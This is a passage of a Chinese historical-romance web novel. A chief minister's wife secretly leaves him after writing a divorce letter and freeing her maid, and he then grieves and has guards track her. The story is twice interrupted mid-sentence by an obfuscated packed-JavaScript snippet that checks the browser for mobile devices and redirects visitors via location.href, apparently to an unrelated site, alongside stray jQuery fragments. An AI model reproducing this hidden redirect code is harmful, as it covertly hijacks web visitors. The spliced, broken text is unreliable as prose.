若是旁人的夫君当了首辅，怕会欣喜若狂，但姜知瑶只会觉得惶恐不安。 长期来的小心翼翼和隐藏让现在的姜知瑶一下子变得很不适应。 像雪花般飞来的请帖更让她感到不知所措，虽然晏枕溪和她说过，一切凭她意愿来便好，但姜知瑶觉得，首辅夫人起码不能像她这样一直闭门不出吧。 不光不怎么独自参加他人的宴会，也从不主动举办宴会。 但姜知瑶真的不喜欢这些场合，之前去也只是一直和纪婉清还有程明珠待一起，很少和宴会上的其他人交谈。 姜知瑶不喜欢现在自己这样的情绪，让她感到喘不过气来，在晏枕溪成为首辅后，姜知瑶时常有这样的感受。 ……她可能真的不适合当晏枕溪的夫人。 模糊的视线渐渐聚焦在手帕上的那点血渍上，姜知瑶想起了娘亲。 小时候，在被扎到后，娘亲总是会轻声安抚她。 她想娘亲了。 恍然间，姜知瑶想起了那间小院，还有江南的朦胧烟雨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324878|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜知瑶从来都知道，自己不是一个坚强的人，也不喜欢直面困难。 逃避，一向是她一个面对困难很好的方法。 要不，离开吧。姜知瑶陡然想到。 离开后，就不用再想这些了，不用想晏枕溪为什么若即若离，不用想可能发生的冷落，不用想将来他会与什么人亲近，不用再承受什么压力，而且也完全不会经历上面可能发生的令她无比心碎的事情。 想到这些，姜知瑶顿时感到一阵轻松。 离开吧，她会刺绣，一个人也不用担心怎样生存下去。 回江南开家小店，卖卖绣品，自己在院子里随便种种花也挺好的。 纪姐姐和明珠之前听她说小时候的事情时，也想去江南看看，如果到时候自己真的回江南了，那还可以邀请她们一起来到江南游玩。 她会带她们去看巷子里的皮影戏，带她们去看江南独有的风景，带她们去品尝江南独有的美食。告诉她们自己小时候是在哪个巷口玩耍，又在哪片草地采花。 和她们一起坐在游船上，伴着歌声还有细雨声聊天。 姜知瑶突然感到无比憧憬，离开的那个念头愈发强烈。 姜知瑶其实也有想过和晏枕溪讲开，最坏的结果也只是和离而已，但她一想到晏枕溪可能会亲自说出要斩断他们之间关系的话，便觉得接受不了，所以还不如自己主动离开。 而且趁现在他们之间的关系还未完全破裂前离开，对彼此来说也很体面吧。 反正她还有着和晏枕溪美好的，尚未被蒙上阴影的回忆。 可一想到要离开晏枕溪，姜知瑶还是觉得不舍，过几天再说吧，她向来是个很犹豫且摇摆不定的人。 再等等，等他眼睛真的要完全好了前再决定要不要走吧，姜知瑶还带着点私心，如果要走，那就在晏枕溪眼睛好了前离开，这样，他就永远不知道自己长什么样子了，那样的话，对她的回忆应该也不会很差吧。 “瑶瑶。” 不知过了多久，一道温润的声音从耳畔传来，是晏枕溪回来了。 姜知瑶骤然回神，攥紧了手中的帕子，抬眼看着面前的晏枕溪，勉强扯出一点笑意：“你回来了。” 晏枕溪面上带着些许喜色，那个布娃娃马上就要做好了，今天晚了些回来，就是因为在缝布娃娃，明天只要再稍加修剪一下就好了。 “阿瑶。”晏枕溪眉眼弯弯，“我明天眼睛就要完全好了。” 明天布娃娃就要做好了。 “真的？！”姜知瑶难得有些不淡定，语气微微拔高，她没想到会这么快。 “真的。”晏枕溪眼里含笑，他觉得姜知瑶肯定是太为自己高兴了而已。 姜知瑶被这个消息打得措手不及，有些慌乱。 之前想好再考虑几天的时间一下子被缩短，姜知瑶微怔。 快离开，在他眼睛复明之前。 许是受到之前自弃的情绪影响，姜知瑶心里传出一道强烈笃定的声音。 人在情绪的冲击下和很短的考虑时间里，总是容易做下一些决定。 就这样吧，明天就离开。 在真的做好这个决定后，姜知瑶感到这段时间来心里积压的大石被人搬走，终于能够大口呼吸，像是快溺死的人终于抓住了浮木，来到水面之上。 姜知瑶暗暗做好了决定。 44. 离开 许是因为有心事，姜知瑶睡得很不安稳。 天刚蒙蒙亮的时候，她又醒来了一次，看着身侧还在熟睡的晏枕溪，面露不舍。 稍微撑起身来，用指尖临摹着晏枕溪，动作小心仔细，像是要把他深深刻入脑海。 想了一会，姜知瑶还是俯下身去，柔软的唇瓣相贴，片刻后又分开，她重新躺了回去，迷迷糊糊地睡着了。 醒来后，不出所料，晏枕溪已经不在府上了。 用过早膳后，姜知瑶便开始准备着要离开的事情。 等会她会从厨房后面的一个小柴门离开，那里平时无人看管，她只需要提前去拿好钥匙便行。 她要一个人离开，不知为何，离开的念头如此强烈，一晚上的时间不但没有让姜知瑶犹豫，反而变得更加笃定。 其实也没有什么东西是一定要带走的。 姜知瑶随便收拾了一下，接着提笔坐在了书桌前。 她先很认真地写好了那份昨晚斟酌许久的和离书，姜知瑶写了很久，每个字都无比认真，写完后，看着还未完全干透的墨迹，姜知瑶眼眶微红，心里无比酸涩。 她摇了摇头，抑制住自己不再想晏枕溪，将和离书收好，然后继续提笔，想着给纪姐姐还有明珠写封书信。 “小姐，用午膳了。”还未等姜知瑶想好落笔，南枝的声音从外面传来。 算了，姜知瑶搁下了笔，反正就算离开了还是会和她们联系的，等离府后再写书信也来得及。 姜知瑶打算下午就离府，用过午膳后，她把南枝单独唤进了房间。 除了其他的，她还不舍得的就是南枝了。 姜知瑶将她要离开的事情告诉了南枝。 “为什么？小姐……”南枝很是惊讶不解。 但还没等姜知瑶说什么，南枝就想开了：“小姐做什么南枝都会支持的。” 作为姜知瑶身边亲近的人，南枝当然发现了姜知瑶最近不时出现的情绪低落。 “小姐。”南枝没有说什么，只是低声开口，“可以带着南枝一起吗？” 姜知瑶没有回答，只是把手中早已准备好的的东西给了南枝。 是南枝的卖身契，还有几家店契。 姜知瑶其实早就想好了要放南枝离开，怎么可能真的把她放在自己身边困一辈子。 “小姐！”南枝看到后有些惊慌失措，“你不要南枝了吗？” “怎么会。”姜知瑶连忙摸了摸南枝的头安抚她，“其实早就该给你了，只是我有些贪心，晚了些才给你。” “卖身契我前段时间已经去官府解除好了，本来想着等再过一个月你生辰的时候和你说的。” “以后南枝就不再是谁的侍女啦，可以去买一个属于自己的小院子，只要为自己做事就好。” “我才不要离开小姐。”南枝有些哽咽地说道。 姜知瑶笑了起来：“说什么胡话，又不是以后见不了。” “南枝可以选个喜欢的地方，到时候记得告诉我，我还要去找你玩呢。” 南枝知道自己没有理由干涉姜知瑶的决定，她勉强接受了要离开小姐的事实，捏着手中的东西转而问道：“小姐要去哪里？” “先不告诉你。”姜知瑶略显轻快地说，“等你选好了后我再说。” “那我选京城。”南枝不假思索道，“我不离开。” 南枝绝大部分的时间都是在这里度过的，也是在这里遇见姜知瑶的，对于她来说，京城是她生命中最特殊的地方。 而且如果小姐想回京城了，她永远都会在京城等着。 “好。”姜知瑶当然不会干涉南枝的选择，接着告诉她，“我要去青州。” 南枝知道，那是小姐小时候生活的地方。 “好了好了。”姜知瑶看着南枝眼眶红红的样子心里酸软，“我要走了。” “肯定到时候会回来找你的。” 说完姜知瑶便拿起了一旁之前绣好的手帕，轻轻覆在南枝的眼上：“好啦，不要哭。” 南枝接了过去，等擦完泪水视线重新变清晰后，姜知瑶已经不在屋内了。 她愣愣地站在窗前，阳光纷纷扬扬地洒了进来，手帕上绣了几只鹊鸟，正停在梅花向南生长的枝条上。 - 晏枕溪今日提前回府了，脸上没有再系着眼纱，向来稳重的人此时显得有些急切和忐忑。 得知姜知瑶在书房后，晏枕溪快步走了过去，推开门喊道：“阿瑶。” 没有往常温软的回应声，书房内一片寂静，空无一人。 是在房间里吗？晏枕溪没仔细看书房，接着又去往房间，手中的那个刚被缝好的布娃娃也被带了过去。 寝室里也没有人。 是出府玩了吗？晏枕溪又退了出去，皱眉回到了书房。 不知为何，心里一阵不安，终于，这种不安在看到书桌上的东西时达到了巅峰。 ……他的眼睛其实坏了，对吧。 手中的布娃娃被人用力攥紧，指尖发白，察觉到后晏枕溪又立马松开，连忙将上面的褶皱抚平，他还要送给阿瑶呢。 晏枕溪一阵恍惚，第一次有种天旋地转的感觉。 他用手撑着桌子，坐在了书桌前的椅子上，盯着桌上的东西看。 “和离书”那三个字无比刺眼，晏枕溪甚至不想去拿起它。 时间只过去了几秒，但晏枕溪却觉得无比漫长，终于他哑声开口：“……暗卫。” “大人。”话音刚落，书房便内出现了一个暗卫。 “派所有暗卫去找夫人。”晏枕溪冷静了下来，“找到后跟在身后保护夫人安全，每个时辰，不，每半个时辰告诉我夫人的去向。” “是。”暗卫应下，看了眼晏枕溪又连忙低头，心里暗暗惊讶，他第一次见到大人如此低沉且不加遮掩的情绪。 “还有，今日留在府上看守的暗卫自行去领罚。”说完后晏枕溪喉咙发紧，感觉空气被人夺走。 “是。”暗卫低头退下。 没事的。晏枕溪在心里安慰自己，才不到一天，阿瑶肯定还没离开京城，就算离开了，他也可以找到阿瑶的。 但是，晏枕溪看着桌上的和离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346815|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书，搭在书桌上的指尖微微颤抖，肺腑仿佛被堵住，舌根发苦，一股无声的窒息感包裹着他。 他不明白为什么阿瑶要离开。 是这段时间他做错了什么吗，才会让她这样，一声不吭的离开。 余光中看见了被他放在一旁的布娃娃，晏枕溪苦笑了一声，连送出去被接受的机会都没有。 晏枕溪在椅子上枯坐了许久，窗外暮色沉沉，他拿起了桌上放置许久的和离书。 已经过了许久了，晏枕溪发现他还是不能平静下来，手指微微颤抖地打开了那封和离书。 晏枕溪一字一句地看了过去，上面都是些无比客套和书面的说辞，看了一会，他竟忍不住自嘲地笑了起来，笑声在有些昏暗空荡的书房里显得格外落寞。 还“一别两宽，各生欢喜”。 阿瑶以为离开了她，自己以后还有可能会欢喜吗。 肯定是有什么误会，晏枕溪想。 阿瑶那么爱他，怎么可能会要离开呢，说不定明天就主动回来了。 将和离书放下，晏枕溪看到了自己指腹上还未好的针眼。 晏枕溪顿时又觉得一阵难过，前所未有的情绪席卷了他。 等阿瑶回来后，一定要狠狠咬她一口，和离这种事怎么可以这样随便决定。 如此突然和猝不及防，连让他挽回的机会都不留下。 太讨厌了，晏枕溪感受到内心的酸胀，眨了眨有些朦胧的眼睛。 晏枕溪回到寝室，坐在还留有姜知瑶气息的床上，盯着和以往相比显得空荡荡的床角看了一会。 他讨厌阿瑶。 布娃娃都带走了，竟然把他送的其他东西还留在府上。 晏枕溪把手中的布娃娃放在了原来那个旧布娃娃的位置上。 姜知瑶没有带走什么东西，她平常坐的软垫、喜欢用的躺椅、专属的茶盏、梳妆台前的首饰都还留着，看上去就好像这个房间的主人只是暂时离开一会，马上就会回来。 真的很讨厌，晏枕溪又在心里想。 竟然就这样一声不吭地走了，等阿瑶回来，他肯定要生气几天的。 晏枕溪想，他不会轻易就原谅阿瑶的。 夜晚，晏枕溪一个人躺在床上，枕在姜知瑶平时用的枕头上，盯着那个小窗户看。 她怎么可以就这样丢下他一个人走。 布娃娃都还没拿给她看，他做了好久。 晏枕溪从来都没觉得时间这么难捱，时间过去了很久，他的眼睛都有些干涩了。 “大人。”暗卫垂首来到了晏枕溪身边，躬身道，“找到夫人了。” “夜深，夫人在京城城门不远处的一个客栈住下了，明天要离开京城。” 迟迟未见晏枕溪发话，暗卫忍不住稍微抬眼，现在是深夜，室内没有点灯，唯有一点稀薄月光透了进来，晏枕溪向来清俊的脸庞上覆着寒意，唇色冷白，看上去显得有些阴郁。 暗卫连忙垂眸，不敢再多看一眼。 半响才听到晏枕溪开口，语气平淡：“知道了。” “带我过去。”